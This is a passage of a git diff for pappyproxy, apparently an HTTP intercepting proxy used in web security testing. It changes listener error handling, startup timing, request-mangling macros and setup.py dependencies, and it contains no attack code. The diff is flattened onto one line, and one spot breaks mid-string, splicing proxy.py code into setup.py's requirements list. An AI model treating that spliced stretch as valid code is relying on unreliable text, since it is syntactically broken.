dropped + if text == '': + pappyproxy.proxy.log('Response dropped!') + defer.returnValue(None) + + mangled_rsp = http.Response(text, update_content_length=True) + + if mangled_rsp.full_response != request.response.full_response: + mangled_rsp.unmangled = request.response + retrsp = mangled_rsp + + defer.returnValue(retrsp) -def connection_lost(connection_id): - del active_requests[connection_id] diff --git a/pappyproxy/pappy.py b/pappyproxy/pappy.py index 71a57e6..97a20fe 100755 --- a/pappyproxy/pappy.py +++ b/pappyproxy/pappy.py @@ -3,6 +3,7 @@ import argparse import cmd2 import crochet +import datetime import imp import os import schema.update @@ -20,6 +21,7 @@ from twisted.enterprise import adbapi from twisted.internet import reactor, defer from twisted.internet.threads import deferToThread from twisted.internet.protocol import ServerFactory +from twisted.internet.error import CannotListenError crochet.no_setup() @@ -50,6 +52,7 @@ def delete_datafile(): @defer.inlineCallbacks def main(): settings = parse_args() + load_start = datetime.datetime.now() if settings['lite']: conf_settings = config.get_default_config() @@ -82,17 +85,23 @@ def main(): if config.DEBUG_DIR and os.path.exists(config.DEBUG_DIR): shutil.rmtree(config.DEBUG_DIR) print 'Removing old debugging output' - factory = ServerFactory() - factory.protocol = proxy.ProxyServer + serv_factory = proxy.ProxyServerFactory(save_all=True) listen_strs = [] + listening = False for listener in config.LISTENERS: - reactor.listenTCP(listener[0], factory, interface=listener[1]) - listener_str = 'port %d' % listener[0] - if listener[1] not in ('127.0.0.1', 'localhost'): - listener_str += ' (bound to %s)' % listener[1] - listen_strs.append(listener_str) + try: + reactor.listenTCP(listener[0], serv_factory, interface=listener[1]) + listening = True + listener_str = 'port %d' % listener[0] + if listener[1] not in ('127.0.0.1', 'localhost'): + listener_str += ' (bound to %s)' % listener[1] + listen_strs.append(listener_str) + except CannotListenError as e: + print repr(e) if listen_strs: print 'Proxy is listening on %s' % (', '.join(listen_strs)) + else: + print 'No listeners opened' com_factory = ServerFactory() com_factory.protocol = comm.CommServer @@ -101,15 +110,25 @@ def main(): comm_port = reactor.listenTCP(0, com_factory, interface='127.0.0.1') comm.set_comm_port(comm_port.getHost().port) + # Load the scope + yield context.load_scope(http.dbpool) + context.reset_to_scope() + + # Apologize for slow start times + load_end = datetime.datetime.now() + load_time = (load_end - load_start) + if load_time.total_seconds() > 20: + print 'Startup was slow (%s)! Sorry!' % load_time + print 'Database has {0} requests (~{1:.2f}ms per request)'.format(len(context.active_requests), ((load_time.total_seconds()/len(context.active_requests))*1000)) + sys.argv = [sys.argv[0]] # cmd2 tries to parse args - d = deferToThread(console.ProxyCmd().cmdloop) + cons = console.ProxyCmd() + console.set_proxy_server_factory(serv_factory) + d = deferToThread(cons.cmdloop) d.addCallback(lambda ignored: reactor.stop()) if delete_data_on_quit: d.addCallback(lambda ignored: delete_datafile()) - # Load the scope - yield context.load_scope(http.dbpool) - context.reset_to_scope() def start(): reactor.callWhenRunning(main) diff --git a/pappyproxy/proxy.py b/pappyproxy/proxy.py index 4fbe871..86fa030 100644 --- a/pappyproxy/proxy.py +++ b/pappyproxy/proxy.py @@ -1,3 +1,4 @@ +import copy import datetime import gzip import os @@ -19,7 +20,7 @@ from pappyproxy import mangle from pappyproxy.util import PappyException from twisted.enterprise import adbapi from twisted.internet import reactor, ssl -from twisted.internet.protocol import ClientFactory +from twisted.internet.protocol import ClientFactory, ServerFactory from twisted.protocols.basic import LineReceiver from twisted.internet import defer @@ -35,6 +36,16 @@ def get_next_connection_id(): next_connection_id += 1 return ret_id +def add_intercepting_macro(key, macro, int_macro_dict): + if key in int_macro_dict: + raise PappyException('Macro with key %s already exists' % key) + int_macro_dict[key] = macro + +def remove_intercepting_macro(key, int_macro_dict): + if not key in int_macro_dict: + raise PappyException('Macro with key %s not loaded' % key) + del int_macro_dict[key] + def log(message, id=None, symbol='*', verbosity_level=1): if config.DEBUG_TO_FILE and not os.path.exists(config.DEBUG_DIR): @@ -113,34 +124,72 @@ class ProxyClient(LineReceiver): lines = self.request.full_request.splitlines() for l in lines: self.log(l, symbol='>r', verbosity_level=3) - mangled_request = yield mangle.mangle_request(self.request, - self.factory.connection_id) - if mangled_request is None: - self.transport.loseConnection() - return - if context.in_scope(mangled_request): - yield mangled_request.deep_save() + + sendreq = self.request + if context.in_scope(sendreq): + + if self.factory.save_all: + yield sendreq.async_deep_save() + + ## Run intercepting macros + # if we don't copy it, when we delete a macro from the console, + # we get a crash. We do a shallow copy to keep the macro + # instances the same. + to_mangle = copy.copy(self.factory.intercepting_macros).iteritems() + for k, macro in to_mangle: + if macro.do_req: + if macro.async_req: + sendreq = yield macro.async_mangle_request(sendreq) + else: + sendreq = macro.mangle_request(sendreq) + + if sendreq is None: + self.transport.loseConnection() + self.request = None + self.data_defer.callback(None) + if self.factory.save_all: + yield sendreq.async_deep_save() + defer.returnValue(None) + + if sendreq != self.request: + sendreq.unmangled = self.request + + if self.factory.save_all: + yield sendreq.async_deep_save() + else: + self.log("Request out of scope, passing along unmangled") + if not self._sent: - self.transport.write(mangled_request.full_request) + self.factory.start_time = datetime.datetime.now() + self.transport.write(sendreq.full_request) + self.request = sendreq + self.request.submitted = True self._sent = True - self.data_defer.callback(mangled_request.full_request) + self.data_defer.callback(sendreq) + defer.returnValue(None) + def connectionLost(self, reason): + pass + def handle_response_end(self, *args, **kwargs): self.log("Remote response finished, returning data to original stream") + self.request.response = self._response_obj self.transport.loseConnection() assert self._response_obj.full_response - self.factory.return_response(self._response_obj) + self.factory.return_request_pair(self.request) class ProxyClientFactory(ClientFactory): - def __init__(self, request): + def __init__(self, request, save_all=False): self.request = request #self.proxy_server = None + self.intercepting_macros = {} self.connection_id = -1 self.data_defer = defer.Deferred() self.start_time = datetime.datetime.now() self.end_time = None + self.save_all = save_all def log(self, message, symbol='*', verbosity_level=1): log(message, id=self.connection_id, symbol=symbol, verbosity_level=verbosity_level) @@ -157,19 +206,66 @@ class ProxyClientFactory(ClientFactory): self.log("Connection lost with remote server: %s" % reason.getErrorMessage()) @defer.inlineCallbacks - def return_response(self, response): + def return_request_pair(self, request): self.end_time = datetime.datetime.now() - log_request(console.printable_data(response.full_response), id=self.connection_id, symbol='=4.4.1', 'cmd2>=0.6.8', 'crochet>=1.4.0', + 'Jinja2>=2.8', 'pygments>=2.0.2', 'pytest-cov>=2.2.0', 'pytest-mock>=0.9.0', @@ -28,6 +31,7 @@ setup(name='pappyproxy', ], classifiers=[ 'Intended Audience :: Developers', + 'Intended Audience :: Information Technology', 'Operating System :: MacOS', 'Operating System :: POSIX :: Linux', 'Development Status :: 2 - Pre-Alpha',